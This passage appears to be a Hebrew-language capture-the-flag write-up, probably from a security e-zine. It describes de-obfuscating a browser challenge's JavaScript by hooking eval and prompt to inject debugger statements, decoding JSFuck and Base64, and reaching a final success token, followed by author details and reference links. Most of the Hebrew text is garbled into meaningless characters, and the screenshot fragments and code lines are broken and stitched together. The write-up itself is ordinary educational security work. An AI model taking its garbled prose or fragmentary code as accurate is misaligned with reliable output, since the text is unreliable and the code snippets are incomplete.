D'Y1 .N'N NMDINN TYD FAn? T 207m AN N9'0 MK NIYYY? AXMN X 7aX 0IYD TINN
[ATIN 17W NANQ'TA NINT NIWYYT7 T¥D VTI' K7W ' Debugger-n NNTva NIWXRY NIWN 7Y breakpoint

.(script.js IX aes.js ,key.js) n7w D'vOZON TNXR N'7'NNA debugger; 9'o01nY?

Memory
Network Filesystem S iptj: scriptjs:formatted
O top i Paused on breakpoint

O filey// Watch

/realgam3/PycharmPrc

Cal
deschtml
(anonymous)
Scope
String)) { Global Window
3] || _6xd82cx3 Breakpaints

‘,\‘v Aa /regex/ cancel 8\x20\x35\x28\x33\x34\x20\x33\.

YU TIn nn NIXA7 1 eval-7 hook nwyi T8 eval NIty N'YPOIDAIR'TN NIX NNID VOZON

.[on NX?

Elements  Console

window.eval

window.eval = (va _eval("d
(value) {return _eval("deb ;" + value)}

‘eval-n N2 TIRY I'7X Y'anT7 7T NXNIN DR 'YWOY 'wn) L PIn 7Y pIinn

Audits  Edit
Network Y -format VM1042:formatted
" i Debugger paused

Watch

Nymous)
window.eval
(anonymous)
Scope
Global Window

|"“’ Aa /regex/ Cancel Breakpoints

N7NNNa 2720 DR N7 NWYW V9MIRPOoNI payload ,sid) D'V9MIPO 3 W NMIT NI'WL DT NNIX
X 'wn1 TX 1'7v hook 117 W' N1DwW eval NTya [OxIMN TIEn YN noxnn Nnno X7 L (key.js

.(payload-1 sid ,key.js D*¥apnn TiEn 7y 271) N1wa hook-n T TR Yv1AN7 1O NN
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SOLC O+ [+011+C0 TI+0I00IT) [+ + LT+ L+ D11+ C L1+ LD D +L 0+ D1+ (L IHET) [+ET T+ LI+ 1) [+ T+ [T+ 41T+ (1 L1+ 1) [+1+[11]

NN TINYY? N1 n"72vw JSFuck ailon N'XP70I91IX X'N NINNXN N'X70I19AIRN N7 |N1Y 93

775 |DIXQ N'XPOISAIND DY'MIYNN DNN DX "?NRTD N'n W' - JavaScript Obfuscation" Ender 7w

."Breaking Obfuscations" nwa OWASP-IL-1 DC9723-n "7w nXRXN NIXIY D'INTIN DNX

7 NXPOI9AINN 70N WNX7 190N JSFuck-1 alert(1) nk1zn N2

| (function () {alert(1)}) ();

72U VIYON INND7 TN I'YOY () MNITYA IT A'XFAID ARMPI,ARIPN DR N7ONY N'MRIR D'YID

.prompt N'¥j72197 hook N'x¥' .n'wan

prompt = window.prompt

window.prompt = O { 3 _prompt.apply(window, arguments); };

() { debugger; return _prompt.apply(window, arguments); }

n'pr|9'7 NXp7N MNX MIY? yan? D ANy WNK? oy 2 nn'yTe 7T NXn DX 'yn)

‘prompt

Network
I Debugger paused

f (), t = "Enter the key ase:™ Watch

~ r.charCodeAt (i));

dispatch(curry

}

prompt = O

alert - ) { this: Window
dispatch(current[3], "alert is d try th = Closure

5 Global

password = dispatch(current[2 ) Breakpoints
SDRWUH1(

DOM Breakpoints
v TN N1'WO K77 D'09PON YNINT IN'RN VINYT FTD 1NXVA 071N ¥ NIDNNNY DR 1NN
D7YNN7 N01 AW 72X ,Baseb4-1 NNO'ON NIX [XKD O'RIN NNIX LD (N9 ,2 1o0n 7NV) index.html

JJNNXNI WUN NANKN '-']IO'? URL-n N121 ' "2 NTh 2Axnnn

:Baseb4 TIT'7 712720 7y nyxani (7nnn vo9Mpon 7apnnv) sid-n DX 72727 nTYVRY NYIe
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; i++) t += String.fro

llnro ....1

Success!

Well Done!

You have successfully finished all the challenges!

This is your final success token:

B e e e e e i
e A I e e e i S S S

please send your token and contact info to the following

A pleasure as always! Until next time...

© "I N1'Y ,NUNY 07K 12D DM NI7IYe'? TN 72131 0anIT X7 12 nNIX Nw)
nin'o

WATE TINND (120 D' ANKD (700 Dy 0Nank 2) 19701 vy X7 amin win g 7omnn nNanv v
,(N'0'0a NnM1) Reverse Engineering ,Web Application Security :Jia> .D'aiNN NNdI Nnd1 YT
NN INY '9D NINSY7 INRNN DX DNINIY DIPN IR TIVE DMWY NNDN L,n7u90 Nidwn

DANKD DX INSY

NN 7Y Nxp

NTH M1 ,(ANK7? NIYRIN NIYY 24-1 TIY 10173) 2192 'Ynn 01 1IM9S7 'Mn''o ToImn NANK N
M0IN DTX "IXY XD DI'N 27 DONID MANKNY AT?7 AT'N'N 120N .0'K7N 10N MI7'Y 7 1N 11D

.'MXY DI01Y |1AWN 7V Tomn 7w DrorI'an NX oNNY 'M'¥1 X7 Nl

NIPN IR N0 1197 MANKN NNINND NX D'N0N9NY D'WIX / NNAN DIY' [TV NI7a7 'MNdin
NIX 027 TOINT7 NWON'I DN7MD0N 72 NANKN DX 117 N'RY' DINKI 1770 D'WIRD NIKAN DIYAY

AN X7 DTY 2WIN IR L(DIYRIN 17 ANKD DR MDY 170 K7W 07X D2) NANKRN NIX IN7XYY N7X
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NI7Y? NNYWOKRN 0N7 N1201 NNINNSN DIOND 17Y) TOIMN NNIYY 0"ANNY I D'WIND '97D DA
N2'0 DIV 'R .NIFZ7 7¢ NITIO IX NINIT DON9) X7 NNIKY 10D ,n"j71 N7 n'7npn 72v Nnw .(N"Ip

M0 197 CTF nirnnn 7w NNNo IX (10 {1 at) nirT 197 0day Do1oY

NnITIN
ZI'T NPTl 122 NITYA 2V ,NIINNKD D"NIWA TOINN MANK 7V INNNN NN MR 2NDw d4d-7

LNOIN MNKNA D'MNIiNN

NYUPL NN X7 2016 MIWAY qliun 0T .TOIMN NANK 7V MXNN DX QMDY 1WAy D'wWIRn ‘D7

Miwpa 12 ' mwnl Niypa 2 10 2017 nawa ,NNN

Mo7nn DigitalWhisper-2 nn7w Write Up-n NX D097 DN DA I DMAN DY '7¢ NN NKRY

.NN2 7277 NiMTTA DINKRY? NNY T WXRIN Write Up-n NIX 2IMD7 NWRA WK K7 NRAN MvaY

Mannn 'y

.Open Source aniI F5 Networks N1ana vy NNVAK J7In :(RealGame) N'T N o

http://www.RealGame.co.il :01NVI'RINX  ©

realgam3@gmail.com :7'm'X o

https://github.com/realgam3 :GitHub o

XY D"iv'yp
e  https://he.wikipedia.org/wiki/Brainfuck

e  https://www.youtube.com/watch?v=D1S-G8rJrEk

e  https://hashkiller.co.uk/

e http://md5decrypt.net/en/Sha512/

e https://www.datacamp.com/community/tutorials/python-dictionary-comprehension

e https://www.digitalwhisper.co.il/files/Zines/0x28/DigitalWhisper40.pdf

e  http://www.ifm.net.nz/cookbooks/passwordcracker.html

e  https://en.wikipedia.org/wiki/BusyBox

e  https://thumbsviewer.github.io/

e https://en.wikipedia.org/wiki/JPEG File Interchange Format

e https://www.digitalwhisper.co.il/files/Zines/0x38/DW56-1-JSObfuscation.pdf

e  https://www.youtube.com/watch?v=IvPtIr8USS4
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